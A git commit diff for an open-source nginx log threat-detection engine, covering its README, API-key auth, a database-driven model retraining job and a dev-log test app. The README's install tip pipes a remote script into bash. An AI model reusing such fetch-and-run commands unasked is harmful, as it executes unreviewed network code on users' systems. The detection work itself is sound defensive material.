97% complete
This commit is contained in:
parent
f9b5a614d3
commit
4224b7d283
|
|
@ -32,6 +32,14 @@ GEOIP_DB_PATH=/usr/share/GeoIP/GeoLite2-City.mmdb
|
|||
# Nginx Log Path (inside container)
|
||||
NGINX_LOG_PATH=/var/log/nginx/access.log
|
||||
|
||||
# ML Auto-Training
|
||||
# Models auto-train with synthetic data on first startup (~1-2 min)
|
||||
# Set to "true" to disable auto-training and start in rules-only mode
|
||||
SKIP_AUTO_TRAIN=false
|
||||
|
||||
# ML Model Directory (inside container)
|
||||
MODEL_DIR=/app/data/models
|
||||
|
||||
# Pipeline Tuning
|
||||
RAW_QUEUE_SIZE=1000
|
||||
PARSED_QUEUE_SIZE=500
|
||||
|
|
@ -39,3 +47,12 @@ FEATURE_QUEUE_SIZE=200
|
|||
ALERT_QUEUE_SIZE=100
|
||||
BATCH_SIZE=32
|
||||
BATCH_TIMEOUT_MS=50
|
||||
|
||||
# Dev-Log Target App
|
||||
# Start with: just devlog-up
|
||||
# Simulate traffic: just devlog-simulate mixed 100
|
||||
# The dev-log nginx writes to a shared Docker volume (vigil_dev_nginx_logs)
|
||||
# that the vigil backend automatically reads from
|
||||
#
|
||||
# To use your own nginx logs instead, edit dev.compose.yml backend volumes:
|
||||
# - /path/to/your/nginx/logs:/var/log/nginx:ro
|
||||
|
|
|
|||
|
|
@ -1,50 +1,152 @@
|
|||
# AngelusVigil
|
||||
```css
|
||||
█████╗ ███╗ ██╗ ██████╗ ███████╗██╗ ██╗ ██╗███████╗
|
||||
██╔══██╗████╗ ██║██╔════╝ ██╔════╝██║ ██║ ██║██╔════╝
|
||||
███████║██╔██╗ ██║██║ ███╗█████╗ ██║ ██║ ██║███████╗
|
||||
██╔══██║██║╚██╗██║██║ ██║██╔══╝ ██║ ██║ ██║╚════██║
|
||||
██║ ██║██║ ╚████║╚██████╔╝███████╗███████╗╚██████╔╝███████║
|
||||
╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚══════╝
|
||||
██╗ ██╗██╗ ██████╗ ██╗██╗
|
||||
██║ ██║██║██╔════╝ ██║██║
|
||||
██║ ██║██║██║ ███╗██║██║
|
||||
╚██╗ ██╔╝██║██║ ██║██║██║
|
||||
╚████╔╝ ██║╚██████╔╝██║███████╗
|
||||
╚═══╝ ╚═╝ ╚═════╝ ╚═╝╚══════╝
|
||||
```
|
||||
|
||||
> **Status: IN PROGRESS** — Phase 1 complete, Phase 2 (ML models) next
|
||||
[](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/advanced/ai-threat-detection)
|
||||
[](https://www.python.org)
|
||||
[](https://react.dev)
|
||||
[](https://www.gnu.org/licenses/agpl-3.0)
|
||||
[](https://www.docker.com)
|
||||
[](https://pytorch.org)
|
||||
|
||||
AI-powered threat detection engine that analyzes web server access logs using machine learning to classify HTTP traffic as benign or malicious in real-time.
|
||||
> AI-powered threat detection engine that analyzes nginx access logs using a 3-model ML ensemble to classify HTTP traffic as benign or malicious in real time.
|
||||
|
||||
Deploys as a Docker sidecar alongside any nginx-based infrastructure. Zero code changes to the monitored application.
|
||||
*This is a quick overview — learn modules with security theory, architecture deep-dives, and full walkthroughs are coming soon.*
|
||||
|
||||
## Progress
|
||||
## What It Does
|
||||
|
||||
| Phase | Description | Status |
|
||||
|-------|-------------|--------|
|
||||
| Phase 1 | Core pipeline, rule-based detection, API, Docker | Complete |
|
||||
| Phase 2 | ML ensemble (autoencoder + RF + IF), ONNX inference | Next |
|
||||
| Phase 3 | Production hardening, monitoring, retraining | Planned |
|
||||
| Phase 4 | Dashboard, active learning, explainability | Planned |
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Layer | Technology |
|
||||
|-------|-----------|
|
||||
| API | FastAPI (async) |
|
||||
| ML | PyTorch autoencoder + scikit-learn (RF + IF) |
|
||||
| Inference | ONNX Runtime (CPU) |
|
||||
| Database | PostgreSQL 18 |
|
||||
| Cache | Redis 7.4 |
|
||||
| GeoIP | MaxMind GeoLite2 |
|
||||
- 3-model ML ensemble (Autoencoder + Random Forest + Isolation Forest) exported to ONNX for fast CPU inference
|
||||
- 4-stage async pipeline: parse raw logs, extract 35-dimensional feature vectors, score with rules + ML, dispatch alerts
|
||||
- Rule engine with ModSecurity CRS-inspired patterns (SQLi, XSS, path traversal, command injection, Log4Shell, SSRF)
|
||||
- Real-time WebSocket alert feed with live severity scoring and threat classification
|
||||
- Auto-trains on first deploy with synthetic data, retrains from the dashboard using your actual stored events
|
||||
- Deploys as a Docker sidecar alongside any nginx-based infrastructure with zero code changes
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
git clone https://github.com/CarterPerez-dev/Cybersecurity-Projects.git
|
||||
cd PROJECTS/advanced/ai-threat-detection
|
||||
cp .env.example .env
|
||||
docker compose -f dev.compose.yml up -d
|
||||
curl http://localhost:36969/health
|
||||
```
|
||||
|
||||
First startup takes ~2 minutes while models train. After that, models persist to a volume and subsequent starts are instant.
|
||||
|
||||
Once healthy, visit `http://localhost:46969` for the dashboard.
|
||||
|
||||
> [!TIP]
|
||||
> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see all available commands.
|
||||
>
|
||||
> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
|
||||
|
||||
## Simulate Attacks
|
||||
|
||||
A built-in dev-log application generates realistic nginx traffic for testing:
|
||||
|
||||
```bash
|
||||
docker compose -f dev-log/compose.yml up -d
|
||||
python dev-log/simulate.py mixed -n 100
|
||||
```
|
||||
|
||||
Attack modes: `normal`, `sqli`, `xss`, `traversal`, `cmdi`, `log4shell`, `ssrf`, `scanner`, `flood`, `mixed`
|
||||
|
||||
## Stack
|
||||
|
||||
**Backend:** FastAPI (async), PostgreSQL 18, Redis 7.4, ONNX Runtime, PyTorch, scikit-learn, MLflow
|
||||
|
||||
**Frontend:** React 19, TypeScript, Vite, Sass, TanStack Query, Zustand
|
||||
|
||||
**Infra:** Docker Compose, multi-stage builds, auto-training entrypoint, shared volume log tailing
|
||||
|
||||
## Architecture
|
||||
|
||||
3-model ensemble (autoencoder + Random Forest + Isolation Forest) scores each request through a weighted fusion producing a unified threat score [0.0, 1.0]:
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ nginx logs │
|
||||
│ (shared volume) │
|
||||
└──────────────────────────┬──────────────────────────────────┘
|
||||
│
|
||||
PollingObserver
|
||||
│
|
||||
┌───────▼───────┐
|
||||
│ Raw Queue │
|
||||
└───────┬───────┘
|
||||
│
|
||||
┌────────────▼────────────┐
|
||||
│ Stage 1: Parse │
|
||||
│ nginx combined format │
|
||||
└────────────┬────────────┘
|
||||
│
|
||||
┌────────────▼────────────┐
|
||||
│ Stage 2: Features │
|
||||
│ 35-dim vector + GeoIP │
|
||||
│ + windowed aggregates │
|
||||
└────────────┬────────────┘
|
||||
│
|
||||
┌────────────▼────────────┐
|
||||
│ Stage 3: Detection │
|
||||
│ Rules + ML Ensemble │
|
||||
│ AE(40%) RF(40%) IF(20%)│
|
||||
└────────────┬────────────┘
|
||||
│
|
||||
┌────────────▼────────────┐
|
||||
│ Stage 4: Dispatch │
|
||||
│ PostgreSQL + Redis │
|
||||
│ pub/sub → WebSocket │
|
||||
└─────────────────────────┘
|
||||
```
|
||||
|
||||
- **HIGH** (0.7+): Store + alert + block recommendation
|
||||
- **MEDIUM** (0.5-0.7): Store + monitor
|
||||
- **LOW** (<0.5): Log only
|
||||
Threat scores range from 0.0 to 1.0:
|
||||
|
||||
Currently running rule-based detection (ModSecurity CRS patterns) as cold-start fallback until ML models are trained in Phase 2.
|
||||
- **HIGH** (0.7+): Stored, alerted via WebSocket, block recommendation
|
||||
- **MEDIUM** (0.5-0.7): Stored, monitored
|
||||
- **LOW** (<0.5): Logged for pattern analysis
|
||||
|
||||
See `learn/` for detailed documentation.
|
||||
## ML Pipeline
|
||||
|
||||
Models auto-train on first container startup using synthetic attack patterns (SQLi, XSS, path traversal, scanners, etc.) and are exported to ONNX. Validation gates enforce F1 >= 0.80 and PR-AUC >= 0.85 before deployment.
|
||||
|
||||
The retrain endpoint (`POST /models/retrain`) pulls real events from the database:
|
||||
- **Reviewed events** use human-verified labels as ground truth
|
||||
- **Unreviewed events** use score-based heuristics (high score = likely attack, low score = likely normal)
|
||||
- If insufficient real data exists, synthetic samples fill the gap
|
||||
|
||||
## API
|
||||
|
||||
| Endpoint | Description |
|
||||
|----------|-------------|
|
||||
| `GET /health` | Health check |
|
||||
| `GET /stats` | Threat statistics and severity breakdown |
|
||||
| `GET /threats` | Paginated threat events with filters |
|
||||
| `GET /models/status` | Active models, detection mode, metrics |
|
||||
| `POST /models/retrain` | Trigger retraining from stored events |
|
||||
| `POST /ingest/batch` | Manual log line ingestion |
|
||||
| `WS /ws/alerts` | Real-time threat alert stream |
|
||||
|
||||
All endpoints (except health and WebSocket) require `X-API-Key` header.
|
||||
|
||||
## Status
|
||||
|
||||
This project is fully functional and actively being polished. The core system (pipeline, ML ensemble, dashboard, real-time alerts, auto-training, attack simulation) is complete and working end to end.
|
||||
|
||||
Learn modules are coming soon and will cover:
|
||||
- Security theory behind anomaly detection and ML-based WAFs
|
||||
- Architecture deep-dive into the async pipeline and ensemble scoring
|
||||
- Line-by-line implementation walkthrough
|
||||
- Extension challenges (GeoIP blocking, custom rule authoring, active learning)
|
||||
|
||||
## License
|
||||
|
||||
AGPLv3 - See [LICENSE](LICENSE)
|
||||
AGPL 3.0
|
||||
|
|
|
|||
|
|
@ -5,9 +5,23 @@ deps.py
|
|||
|
||||
from collections.abc import AsyncIterator
|
||||
|
||||
from fastapi import Request
|
||||
from fastapi import Header, HTTPException, Request
|
||||
from sqlalchemy.ext.asyncio import AsyncSession
|
||||
|
||||
from app.config import settings
|
||||
|
||||
|
||||
def require_api_key(
|
||||
x_api_key: str | None = Header(default=None, alias="X-API-Key"),
|
||||
) -> None:
|
||||
"""
|
||||
Enforce API key authentication when api_key is configured in settings
|
||||
"""
|
||||
if not settings.api_key:
|
||||
return
|
||||
if x_api_key != settings.api_key:
|
||||
raise HTTPException(status_code=401, detail="Invalid API key")
|
||||
|
||||
|
||||
async def get_session(request: Request) -> AsyncIterator[AsyncSession]:
|
||||
"""
|
||||
|
|
|
|||
|
|
@ -5,9 +5,11 @@ ingest.py
|
|||
|
||||
import asyncio
|
||||
|
||||
from fastapi import APIRouter, Request
|
||||
from fastapi import APIRouter, Depends, Request
|
||||
from pydantic import BaseModel
|
||||
|
||||
from app.api.deps import require_api_key
|
||||
|
||||
router = APIRouter(prefix="/ingest", tags=["ingest"])
|
||||
|
||||
|
||||
|
|
@ -19,7 +21,7 @@ class BatchIngestRequest(BaseModel):
|
|||
lines: list[str]
|
||||
|
||||
|
||||
@router.post("/batch", status_code=200)
|
||||
@router.post("/batch", status_code=200, dependencies=[Depends(require_api_key)])
|
||||
async def ingest_batch(
|
||||
body: BatchIngestRequest,
|
||||
request: Request,
|
||||
|
|
|
|||
|
|
@ -3,19 +3,30 @@
|
|||
models_api.py
|
||||
"""
|
||||
|
||||
import logging
|
||||
import uuid
|
||||
|
||||
from fastapi import APIRouter, Request
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.ext.asyncio import AsyncSession
|
||||
from fastapi import APIRouter, BackgroundTasks, Request
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker
|
||||
|
||||
from app.config import settings
|
||||
from app.models.model_metadata import ModelMetadata
|
||||
from app.models.threat_event import ThreatEvent
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/models", tags=["models"])
|
||||
|
||||
SCORE_ATTACK_THRESHOLD = 0.5
|
||||
SCORE_NORMAL_CEILING = 0.3
|
||||
MIN_TRAINING_SAMPLES = 200
|
||||
SYNTHETIC_SUPPLEMENT_NORMAL = 500
|
||||
SYNTHETIC_SUPPLEMENT_ATTACK = 250
|
||||
|
||||
|
||||
@router.get("/status")
|
||||
async def model_status(request: Request, ) -> dict[str, object]:
|
||||
async def model_status(request: Request) -> dict[str, object]:
|
||||
"""
|
||||
Return the status of active ML models
|
||||
"""
|
||||
|
|
@ -36,18 +47,176 @@ async def model_status(request: Request, ) -> dict[str, object]:
|
|||
|
||||
|
||||
@router.post("/retrain", status_code=202)
|
||||
async def retrain() -> dict[str, object]:
|
||||
async def retrain(
|
||||
request: Request,
|
||||
background_tasks: BackgroundTasks,
|
||||
) -> dict[str, object]:
|
||||
"""
|
||||
Trigger an async model retraining job
|
||||
Dispatch a model retraining job using real stored
|
||||
threat events supplemented with synthetic data
|
||||
"""
|
||||
return {
|
||||
"status": "accepted",
|
||||
"job_id": uuid.uuid4().hex,
|
||||
}
|
||||
session_factory = getattr(request.app.state, "session_factory", None)
|
||||
if session_factory is None:
|
||||
return {"status": "error", "job_id": ""}
|
||||
|
||||
job_id = uuid.uuid4().hex
|
||||
background_tasks.add_task(
|
||||
_retrain_from_db,
|
||||
job_id,
|
||||
session_factory,
|
||||
)
|
||||
return {"status": "accepted", "job_id": job_id}
|
||||
|
||||
|
||||
async def _retrain_from_db(
|
||||
job_id: str,
|
||||
session_factory: async_sessionmaker[AsyncSession],
|
||||
) -> None:
|
||||
"""
|
||||
Pull stored threat events, build training arrays,
|
||||
supplement with synthetic data if needed, and run
|
||||
the full training pipeline
|
||||
"""
|
||||
import asyncio
|
||||
import dataclasses
|
||||
from pathlib import Path
|
||||
|
||||
import numpy as np
|
||||
|
||||
from ml.orchestrator import TrainingOrchestrator
|
||||
|
||||
logger.info("Retrain job %s: loading stored events", job_id)
|
||||
|
||||
async with session_factory() as session:
|
||||
count = (await session.execute(
|
||||
select(func.count()).select_from(ThreatEvent)
|
||||
)).scalar_one()
|
||||
|
||||
if count == 0:
|
||||
logger.warning(
|
||||
"Retrain job %s: no stored events, using synthetic only",
|
||||
job_id,
|
||||
)
|
||||
_fallback_synthetic(job_id)
|
||||
return
|
||||
|
||||
rows = (await session.execute(
|
||||
select(ThreatEvent)
|
||||
)).scalars().all()
|
||||
|
||||
vectors: list[list[float]] = []
|
||||
labels: list[int] = []
|
||||
|
||||
for event in rows:
|
||||
if not event.feature_vector:
|
||||
continue
|
||||
|
||||
if event.reviewed and event.review_label:
|
||||
label = 1 if event.review_label == "true_positive" else 0
|
||||
elif event.threat_score >= SCORE_ATTACK_THRESHOLD:
|
||||
label = 1
|
||||
elif event.threat_score < SCORE_NORMAL_CEILING:
|
||||
label = 0
|
||||
else:
|
||||
continue
|
||||
|
||||
vectors.append(event.feature_vector)
|
||||
labels.append(label)
|
||||
|
||||
logger.info(
|
||||
"Retrain job %s: %d usable events from DB "
|
||||
"(normal=%d, attack=%d)",
|
||||
job_id,
|
||||
len(vectors),
|
||||
labels.count(0),
|
||||
labels.count(1),
|
||||
)
|
||||
|
||||
from ml.synthetic import generate_mixed_dataset
|
||||
|
||||
if len(vectors) < MIN_TRAINING_SAMPLES:
|
||||
syn_X, syn_y = generate_mixed_dataset(
|
||||
SYNTHETIC_SUPPLEMENT_NORMAL,
|
||||
SYNTHETIC_SUPPLEMENT_ATTACK,
|
||||
)
|
||||
X = np.concatenate([
|
||||
np.array(vectors, dtype=np.float32),
|
||||
syn_X,
|
||||
]) if vectors else syn_X
|
||||
y = np.concatenate([
|
||||
np.array(labels, dtype=np.int32),
|
||||
syn_y,
|
||||
]) if labels else syn_y
|
||||
logger.info(
|
||||
"Retrain job %s: supplemented with %d synthetic samples",
|
||||
job_id,
|
||||
len(syn_X),
|
||||
)
|
||||
else:
|
||||
X = np.array(vectors, dtype=np.float32)
|
||||
y = np.array(labels, dtype=np.int32)
|
||||
|
||||
output_dir = Path(settings.model_dir)
|
||||
loop = asyncio.get_running_loop()
|
||||
result = await loop.run_in_executor(
|
||||
None,
|
||||
lambda: TrainingOrchestrator(output_dir=output_dir).run(X, y),
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"Retrain job %s complete: passed_gates=%s",
|
||||
job_id,
|
||||
result.passed_gates,
|
||||
)
|
||||
|
||||
try:
|
||||
from cli.main import _write_metadata
|
||||
|
||||
metrics: dict[str, object] = (
|
||||
dataclasses.asdict(result.ensemble_metrics)
|
||||
if result.ensemble_metrics else {}
|
||||
)
|
||||
await _write_metadata(
|
||||
output_dir,
|
||||
len(X),
|
||||
metrics,
|
||||
result.mlflow_run_id,
|
||||
result.ae_metrics.get("ae_threshold"),
|
||||
)
|
||||
except Exception:
|
||||
logger.exception(
|
||||
"Retrain job %s: failed to write metadata",
|
||||
job_id,
|
||||
)
|
||||
|
||||
|
||||
def _fallback_synthetic(job_id: str) -> None:
|
||||
"""
|
||||
Run training with synthetic data only when no real
|
||||
events exist
|
||||
"""
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
logger.info("Retrain job %s: falling back to synthetic training", job_id)
|
||||
subprocess.Popen(
|
||||
[
|
||||
sys.executable,
|
||||
"-m",
|
||||
"cli.main",
|
||||
"train",
|
||||
"--synthetic-normal",
|
||||
"1000",
|
||||
"--synthetic-attack",
|
||||
"500",
|
||||
],
|
||||
start_new_session=True,
|
||||
)
|
||||
|
||||
|
||||
async def _get_active_models(
|
||||
session: AsyncSession, ) -> list[dict[str, object]]:
|
||||
session: AsyncSession,
|
||||
) -> list[dict[str, object]]:
|
||||
"""
|
||||
Query all active model metadata records
|
||||
"""
|
||||
|
|
|
|||
|
|
@ -80,6 +80,7 @@ class AlertDispatcher:
|
|||
alert = WebSocketAlert(
|
||||
timestamp=scored.entry.timestamp,
|
||||
source_ip=scored.entry.ip,
|
||||
request_method=scored.entry.method,
|
||||
request_path=scored.entry.path,
|
||||
threat_score=scored.final_score,
|
||||
severity=severity,
|
||||
|
|
|
|||
|
|
@ -18,6 +18,7 @@ from app.core.features.patterns import (
|
|||
XSS,
|
||||
)
|
||||
from app.core.features.signatures import SCANNER_USER_AGENTS
|
||||
from app.core.detection.ensemble import classify_severity as _classify_severity
|
||||
from app.core.ingestion.parsers import ParsedLogEntry
|
||||
|
||||
|
||||
|
|
@ -74,17 +75,6 @@ class RuleResult:
|
|||
component_scores: dict[str, float] = field(default_factory=dict)
|
||||
|
||||
|
||||
def _classify_severity(score: float) -> str:
|
||||
"""
|
||||
Map a threat score to a severity label.
|
||||
"""
|
||||
if score >= 0.7:
|
||||
return "HIGH"
|
||||
if score >= 0.5:
|
||||
return "MEDIUM"
|
||||
return "LOW"
|
||||
|
||||
|
||||
class RuleEngine:
|
||||
"""
|
||||
Cold-start rule-based detection engine inspired by ModSecurity CRS.
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ def _hash_member(value: str) -> str:
|
|||
"""
|
||||
Produce a compact 16-char hex digest for sorted set deduplication.
|
||||
"""
|
||||
return hashlib.md5(value.encode()).hexdigest()[:16]
|
||||
return hashlib.md5(value.encode(), usedforsecurity=False).hexdigest()[:16]
|
||||
|
||||
|
||||
class WindowAggregator:
|
||||
|
|
@ -27,7 +27,7 @@ class WindowAggregator:
|
|||
Per-IP sliding window feature aggregator backed by Redis sorted sets.
|
||||
"""
|
||||
|
||||
def __init__(self, redis_client: aioredis.Redis[bytes]) -> None:
|
||||
def __init__(self, redis_client: aioredis.Redis[str]) -> None:
|
||||
self._redis = redis_client
|
||||
|
||||
async def record_and_aggregate(
|
||||
|
|
@ -91,17 +91,18 @@ class WindowAggregator:
|
|||
|
||||
results = await pipe.execute()
|
||||
|
||||
read_start = len(keys) * 2
|
||||
req_count_1m = results[read_start]
|
||||
req_count_5m = results[read_start + 1]
|
||||
req_count_10m = results[read_start + 2]
|
||||
unique_paths_5m = results[read_start + 3]
|
||||
unique_uas_10m = results[read_start + 4]
|
||||
statuses_5m = results[read_start + 5]
|
||||
sizes_5m = results[read_start + 6]
|
||||
methods_5m = results[read_start + 7]
|
||||
depths_5m = results[read_start + 8]
|
||||
requests_with_scores = results[read_start + 9]
|
||||
(
|
||||
_zadd_req, _zadd_paths, _zadd_statuses, _zadd_uas,
|
||||
_zadd_sizes, _zadd_methods, _zadd_depths,
|
||||
_trim_req, _trim_paths, _trim_statuses, _trim_uas,
|
||||
_trim_sizes, _trim_methods, _trim_depths,
|
||||
req_count_1m, req_count_5m, req_count_10m,
|
||||
unique_paths_5m, unique_uas_10m,
|
||||
statuses_5m, sizes_5m, methods_5m, depths_5m,
|
||||
requests_with_scores,
|
||||
_exp_req, _exp_paths, _exp_statuses, _exp_uas,
|
||||
_exp_sizes, _exp_methods, _exp_depths,
|
||||
) = results
|
||||
|
||||
irt_mean, irt_std = _inter_request_time_stats(requests_with_scores)
|
||||
|
||||
|
|
|
|||
|
|
@ -81,7 +81,7 @@ class Pipeline:
|
|||
|
||||
def __init__(
|
||||
self,
|
||||
redis_client: aioredis.Redis[bytes],
|
||||
redis_client: aioredis.Redis[str],
|
||||
rule_engine: RuleEngine,
|
||||
geoip: GeoIPService | None = None,
|
||||
on_result: (Callable[[ScoredRequest], Awaitable[None]] | None) = None,
|
||||
|
|
|
|||
|
|
@ -15,7 +15,7 @@ from watchdog.events import (
|
|||
FileMovedEvent,
|
||||
FileSystemEventHandler,
|
||||
)
|
||||
from watchdog.observers import Observer
|
||||
from watchdog.observers.polling import PollingObserver
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
|
@ -171,7 +171,7 @@ class LogTailer:
|
|||
) -> None:
|
||||
self._log_path = log_path
|
||||
self._handler = _LogHandler(log_path, queue, loop)
|
||||
self._observer = Observer()
|
||||
self._observer = PollingObserver(timeout=2)
|
||||
self._started = False
|
||||
|
||||
def start(self) -> None:
|
||||
|
|
|
|||
|
|
@ -68,7 +68,7 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
|||
app.state.detection_mode = "hybrid" if app.state.models_loaded else "rules"
|
||||
|
||||
pipeline = Pipeline(
|
||||
redis_client=redis_client, # type: ignore[arg-type]
|
||||
redis_client=redis_client,
|
||||
rule_engine=RuleEngine(),
|
||||
geoip=geoip,
|
||||
on_result=dispatcher.dispatch,
|
||||
|
|
|
|||
|
|
@ -17,6 +17,7 @@ class WebSocketAlert(BaseModel):
|
|||
event: Literal["threat"] = "threat"
|
||||
timestamp: datetime
|
||||
source_ip: str
|
||||
request_method: str
|
||||
request_path: str
|
||||
threat_score: float
|
||||
severity: str
|
||||
|
|
|
|||
|
|
@ -49,7 +49,7 @@ async def get_stats(
|
|||
sev_rows = (await session.execute(sev_q)).all()
|
||||
sev_map = {row[0]: row[1] for row in sev_rows}
|
||||
|
||||
threats_detected = sev_map.get("HIGH", 0) + sev_map.get("MEDIUM", 0)
|
||||
threats_detected = total
|
||||
|
||||
ip_q = (
|
||||
select(ThreatEvent.source_ip,
|
||||
|
|
|
|||
|
|
@ -42,8 +42,14 @@ async def _write_metadata(
|
|||
create_async_engine,
|
||||
)
|
||||
|
||||
from app.models import model_metadata as _reg # noqa: F401
|
||||
from sqlmodel import SQLModel
|
||||
|
||||
engine = create_async_engine(settings.database_url)
|
||||
try:
|
||||
async with engine.begin() as conn:
|
||||
await conn.run_sync(SQLModel.metadata.create_all)
|
||||
|
||||
factory = async_sessionmaker(
|
||||
engine,
|
||||
class_=AsyncSession,
|
||||
|
|
|
|||
|
|
@ -4,9 +4,10 @@ data_loader.py
|
|||
"""
|
||||
|
||||
import logging
|
||||
import random
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from datetime import datetime, UTC
|
||||
from datetime import UTC, datetime, timedelta
|
||||
from pathlib import Path
|
||||
|
||||
import numpy as np
|
||||
|
|
@ -27,6 +28,17 @@ _DEFAULT_IP = "192.168.1.100"
|
|||
_DEFAULT_UA = ("Mozilla/5.0 (compatible; Konqueror/3.5; Linux)"
|
||||
" KHTML/3.5.8 (like Gecko)")
|
||||
|
||||
_BASE_TIMESTAMP = datetime(2010, 6, 1, tzinfo=UTC)
|
||||
_TRAINING_WINDOW_DAYS = 90
|
||||
|
||||
|
||||
def _synthetic_timestamp() -> datetime:
|
||||
"""
|
||||
Generate a realistic training timestamp spread over 90 days
|
||||
"""
|
||||
offset_secs = random.randint(0, _TRAINING_WINDOW_DAYS * 86400)
|
||||
return _BASE_TIMESTAMP + timedelta(seconds=offset_secs)
|
||||
|
||||
|
||||
@dataclass
|
||||
class CSICRequest:
|
||||
|
|
@ -146,7 +158,7 @@ def csic_to_parsed_entry(req: CSICRequest) -> ParsedLogEntry:
|
|||
|
||||
return ParsedLogEntry(
|
||||
ip=_DEFAULT_IP,
|
||||
timestamp=datetime.now(UTC),
|
||||
timestamp=_synthetic_timestamp(),
|
||||
method=req.method,
|
||||
path=req.path,
|
||||
query_string=query,
|
||||
|
|
|
|||
|
|
@ -5,7 +5,6 @@ orchestrator.py
|
|||
|
||||
import json
|
||||
import logging
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
|
@ -135,13 +134,8 @@ class TrainingOrchestrator:
|
|||
"ensemble_roc_auc": ensemble.roc_auc,
|
||||
})
|
||||
passed = ensemble.passed_gates
|
||||
except Exception as exc:
|
||||
except Exception:
|
||||
logger.exception("Ensemble validation failed")
|
||||
print(
|
||||
f" WARNING: validation raised"
|
||||
f" {type(exc).__name__}: {exc}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
ensemble = None
|
||||
passed = False
|
||||
|
||||
|
|
|
|||
|
|
@ -71,7 +71,7 @@ services:
|
|||
interval: 30s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 10s
|
||||
start_period: 180s
|
||||
restart: always
|
||||
|
||||
frontend:
|
||||
|
|
|
|||
|
|
@ -0,0 +1,12 @@
|
|||
# ©AngelaMos | 2026
|
||||
# Dockerfile
|
||||
|
||||
FROM python:3.14-slim
|
||||
|
||||
COPY --from=ghcr.io/astral-sh/uv:latest /uv /bin/
|
||||
RUN uv pip install --system fastapi uvicorn
|
||||
|
||||
WORKDIR /app
|
||||
COPY app.py .
|
||||
|
||||
CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]
|
||||
|
|
@ -0,0 +1,87 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
app.py
|
||||
"""
|
||||
|
||||
from fastapi import FastAPI, Request
|
||||
from fastapi.responses import HTMLResponse, JSONResponse
|
||||
|
||||
app = FastAPI(title="DevLog Target App")
|
||||
|
||||
USERS = [
|
||||
{"id": 1, "name": "alice", "email": "alice@example.com", "role": "admin"},
|
||||
{"id": 2, "name": "bob", "email": "bob@example.com", "role": "user"},
|
||||
{"id": 3, "name": "carol", "email": "carol@example.com", "role": "user"},
|
||||
]
|
||||
|
||||
PRODUCTS = [
|
||||
{"id": 1, "name": "Widget", "price": 29.99},
|
||||
{"id": 2, "name": "Gadget", "price": 49.99},
|
||||
{"id": 3, "name": "Doohickey", "price": 9.99},
|
||||
]
|
||||
|
||||
|
||||
@app.get("/", response_class=HTMLResponse)
|
||||
async def index() -> str:
|
||||
return "<html><body><h1>DevLog Target</h1></body></html>"
|
||||
|
||||
|
||||
@app.get("/health")
|
||||
async def health() -> dict[str, str]:
|
||||
return {"status": "healthy"}
|
||||
|
||||
|
||||
@app.get("/api/users")
|
||||
async def list_users() -> list[dict[str, object]]:
|
||||
return USERS
|
||||
|
||||
|
||||
@app.get("/api/users/{user_id}")
|
||||
async def get_user(user_id: int) -> JSONResponse:
|
||||
for u in USERS:
|
||||
if u["id"] == user_id:
|
||||
return JSONResponse(u)
|
||||
return JSONResponse({"error": "not found"}, status_code=404)
|
||||
|
||||
|
||||
@app.post("/api/login")
|
||||
async def login(request: Request) -> JSONResponse:
|
||||
return JSONResponse({"token": "eyJhbGciOiJIUzI1NiJ9.fake.token"})
|
||||
|
||||
|
||||
@app.get("/api/search")
|
||||
async def search(q: str = "") -> dict[str, object]:
|
||||
return {"query": q, "results": [], "total": 0}
|
||||
|
||||
|
||||
@app.get("/api/products")
|
||||
async def list_products() -> list[dict[str, object]]:
|
||||
return PRODUCTS
|
||||
|
||||
|
||||
@app.get("/api/products/{product_id}")
|
||||
async def get_product(product_id: int) -> JSONResponse:
|
||||
for p in PRODUCTS:
|
||||
if p["id"] == product_id:
|
||||
return JSONResponse(p)
|
||||
return JSONResponse({"error": "not found"}, status_code=404)
|
||||
|
||||
|
||||
@app.post("/api/checkout")
|
||||
async def checkout() -> dict[str, object]:
|
||||
return {"order_id": "ORD-12345", "status": "confirmed"}
|
||||
|
||||
|
||||
@app.get("/admin")
|
||||
async def admin_panel() -> JSONResponse:
|
||||
return JSONResponse({"error": "forbidden"}, status_code=403)
|
||||
|
||||
|
||||
@app.get("/admin/dashboard")
|
||||
async def admin_dashboard() -> JSONResponse:
|
||||
return JSONResponse({"error": "forbidden"}, status_code=403)
|
||||
|
||||
|
||||
@app.get("/static/{path:path}")
|
||||
async def static_files(path: str) -> JSONResponse:
|
||||
return JSONResponse({"error": "not found"}, status_code=404)
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
# ©AngelaMos | 2026
|
||||
# compose.yml
|
||||
|
||||
services:
|
||||
app:
|
||||
build: .
|
||||
container_name: vigil-devlog-app
|
||||
networks:
|
||||
- devlog
|
||||
healthcheck:
|
||||
test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8000/health')"]
|
||||
interval: 5s
|
||||
timeout: 3s
|
||||
retries: 3
|
||||
start_period: 5s
|
||||
|
||||
nginx:
|
||||
image: nginx:alpine
|
||||
container_name: vigil-devlog-nginx
|
||||
command: sh -c "rm -f /var/log/nginx/access.log /var/log/nginx/error.log && exec nginx -g 'daemon off;'"
|
||||
ports:
|
||||
- "58319:80"
|
||||
volumes:
